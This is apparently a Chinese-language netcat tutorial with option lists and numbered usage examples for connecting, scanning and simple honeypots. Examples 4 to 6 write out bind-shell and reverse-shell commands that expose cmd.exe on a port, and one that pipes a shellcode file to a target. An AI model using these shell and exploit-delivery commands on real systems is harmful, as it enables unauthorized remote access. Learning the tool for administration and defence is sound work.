netcat被誉为网络安全界的‘瑞士军刀’,一个简单而有用的工具,透过使用TCP或UDP协议的网络连接去读写数据。它被设计成一个稳定的后门工具,能够直接由其它程序和脚本轻松驱动。同时,它也是一个功能强大的网络调试和探测工具,能够建立你需要的几乎所有类型的网络连接,还有几个很有意思的内置功能(详情请看下面的使用方法)。
在中国,它的WINDOWS版有两个版本,一个是原创者Chris Wysopal写的原版本,另一个是由‘红与黑’编译后的新‘浓缩’版。‘浓缩’版的主程序只有10多KB(10多KB的NC是不能完成下面所说的第4、第5种使用方法,有此功能的原版NC好象要60KB:P),虽然“体积”小,但很完成很多工作。
[v1.10-41]
使用格式: nc [-参数] 主机名 端口[s] [端口] …
侦听入站: nc -l -p 端口[-参数] [主机名] [端口]
参数选项:
-c shell commands as `-e’; use /bin/sh to exec [dangerous!!]
-e filename program to exec after connect [dangerous!!]
-b 是否允许广播
-g gateway 源路由跳点[s], up to 8
-G num 源路由指针: 4, 8, 12, …
-h this cruft
-i secs 线路延时间隔, 端口扫描
-k set keepalive option on socket
-l 监听模式, 入站链接
-n 只使用 IP 地址不通过 DNS解析
-o file 使用十六进制
-p port 本地端口号
-r 跟随本地和端口
-q secs quit after EOF on stdin and delay of secs
-s addr 本地源地址
-T tos set Type Of Service
-t 使用telnet连接
-u UDP 模式
-v verbose [use twice to be more verbose]
-w secs 连接目标网络超时时间
-C Send CRLF as line-ending
-z zero-I/O mode [used for scanning]
端口号可以是一个或者是一段: lo-hi [inclusive];
在端口名称处必须使用反斜杠 (e.g. ‘ftp\-data’).
基本用法:
大概有以下几种用法:
1)连接到REMOTE主机,例子:
格式:nc -nvv 192.168.x.x 80
讲解:连到192.168.x.x的TCP80端口
2)监听LOCAL主机,例子:
格式:nc -l -p 80
讲解:监听本机的TCP80端口
3)扫描远程主机,例子:
格式:nc -nvv -w2 -z 192.168.x.x 80-445
讲解:扫描192.168.x.x的TCP80到TCP445的所有端口
4)REMOTE主机绑定SHELL,例子:
格式:nc -l -p 5354 -t -e c:winntsystem32cmd.exe
讲解:绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口
5)REMOTE主机绑定SHELL并反向连接,例子:
格式:nc -t -e c:winntsystem32cmd.exe 192.168.x.x 5354
讲解:绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口
以上为最基本的几种用法(其实NC的用法还有很多,
当配合管道命令“|”与重定向命令“<”、“>”等等命令功能更强大......)。
高级用法:
6)作攻击程序用,例子:
格式1:type.exe c:exploit.txt|nc -nvv 192.168.x.x 80
格式2:nc -nvv 192.168.x.x 80 < c:exploit.txt
讲解:连接到192.168.x.x的80端口,并在其管道中发送c:exploit.txt的内容(两种格式确有相同的效果,真是有异曲同工之妙:P)
附:c:exploit.txt为shellcode等
7)作蜜罐用[1],例子:
格式:nc -L -p 80
讲解:使用-L(注意L是大写)可以不停地监听某一个端口,直到ctrl+c为止.
8)作蜜罐用[2],例子:
格式:nc -L -p 80 > c:log.txt
讲解:使用-L可以不停地监听某一个端口,直到ctrl+c为止,同时把结果输出到c:log.txt中,如果把‘>’改为‘>>’即可以追加日志。
附:c:log.txt为日志等
9)作蜜罐用[3],例子:
格式1:nc -L -p 80 < c:honeypot.txt
格式2:type.exe c:honeypot.txt|nc -L -p 80
讲解:使用-L可以不停地监听某一个端口,直到ctrl+c为止,并把c:honeypot.txt的内容‘送’入其管道中。